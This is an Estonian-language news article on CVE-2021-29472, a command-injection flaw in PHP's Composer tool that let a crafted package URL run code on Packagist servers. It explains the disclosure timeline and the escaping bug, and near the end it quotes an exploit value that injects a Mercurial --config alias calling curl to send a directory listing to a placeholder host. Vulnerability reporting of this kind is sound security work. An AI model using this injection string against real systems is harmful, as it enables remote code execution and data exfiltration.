Composer'i sĂ”ltuvuste halduris tuvastati kriitiline haavatavus (CVE-2021-29472), mis vĂ”imaldab kĂ€ivitada sĂŒsteemis juhuslikke kĂ€ske paketi töötlemisel, mille URL vÀÀrtus mÀÀrab allika, kust koode laadida. Probleem ilmneb GitDriver, SvnDriver ja HgDriver koostisosades, mis on kasutusel Git, Subversion ja Mercurial lĂ€htekoodihalduse sĂŒsteemide puhul. Haavatavus on kĂ”rvaldatud Composer 1.10.22 ja 2.0.13 vĂ€ljaannetes.
Eriti vÀÀrib mainimist, et probleem on peamiselt mĂ”jutanud Composer'i vaikimisi kasutatavat Pakettide hoidlat Packagist, kus on kokku 306 tuhat paketti PHP arendajatele ja mis teenindab kuus ĂŒle 1,4 miljardit allalaadimist. Katsetuste kĂ€igus on nĂ€idatud, et probleemist teadlikud rĂŒndajad vĂ”ivad saada kontrolli Packagisti infrastruktuuri ĂŒle, varastada hooldajate autentimisandmeid vĂ”i suunata pakettide laadimist kolmandatele serveritele, luues vĂ”imalusi sĂ”ltuvuste installimise kĂ€igus pahatahtlike muudatustega pakettide tarnimiseks.
LÔppkasutajate ohtu piirab see, et composer.json sisu on tavaliselt kasutaja mÀÀratud, ning viidatud lÀhtekoodid saadetakse kolmandate osapoolte registritesse, mis on tavaliselt usaldusvÀÀrsed. PÔhivÔimekuse löök tabas Packagist.org registrit ja Private Packagist teenust, mis kutsuvad esile Composerit, edastades kasutajatelt saadud andmeid. Kurjategijad vÔisid oma koodi kÀivitada Packagisti serverites, avaldades spetsiaalselt vormindatud paketi.
Packagisti meeskond kÔrvaldas haavatavuse 12 tunni jooksul pÀrast haavatavuse teate saamist. Uurijad teatasid privaatsete teadete kaudu Packagisti arendajatele 22. aprillil, ning samal pÀeval probleem lahendati. Avalik Composeri uuendus haavatavuse kÔrvaldamiseks avaldati 27. aprillil ja detailid avaldati 28. aprillil. Packagisti serverite logide audit ei tuvastanud seotud haavatavusega kahtlast tegevust.
Probleem on pĂ”hjustatud vigadest URL-i kehtivuse kontrollimise koodis peafailis composer.json ja allalaadimislinkides. Viga on koodis olnud alates novembrist 2011. Pakkujatena kasutatakse Packagist koodi allalaadimist ilma sĂ”ltumata kindlast allika haldamise sĂŒsteemist spetsiaalseid kihte, mis kĂ€ivitatakse kĂ€surea argumentide edastamisega "fromShellCommandline" meetodi kaudu. NĂ€iteks git-i puhul kutsutakse vĂ€lja kĂ€sk "git ls-remote âheads $URL", kus URL on töödeldud meetodi "ProcessExecutor::escape($url)" kaudu, mis pahatahtlikud konstruktsioonid, nagu "$(âŠ)" vĂ”i "`âŠ`", ekraanil turvavad.
Probleemi olemus seisneb selles, et meetod ProcessExecutor::escape ei escape'inud jĂ€rjestust âââ, mis vĂ”imaldas URL-is mÀÀrata igasuguseid tĂ€iendavaid kutsumise parameetreid. Selline escape puudus GitDriver.php, SvnDriver.php ja HgDriver.php draivides. RĂŒnnak GitDriver.php kaudu takerdus selle tĂ”ttu, et kĂ€sk âgit ls-remoteâ ei toetanud tĂ€iendavate argumentide mÀÀramist pĂ€rast teed. RĂŒnnak HgDriver.php kaudu tuli vĂ”imalikuks, edastades parameetri ââconfigâ utiliidile âhqâ, mis vĂ”imaldab kĂ€ivitada igasuguseid kĂ€ske, manipuleerides seadega âalias.identifyâ. NĂ€iteks koodi laadimiseks ja kĂ€ivitamiseks curl utiliidi kaudu vĂ”is mÀÀrata: âconfig=alias.identify=!curl http://exfiltration-host.tld âdata â$(ls -alh)â
Paigutades Packagist'i testpaketi, millel on sarnane URL, veendusid uurijad, et pĂ€rast selle paigutamist nende serverisse saadi HTTP-pĂ€ring ĂŒhelt serverite Packagist AWS-is, mis sisaldas failide loetelu praeguses kataloogis.
Allikas: opennet.ru
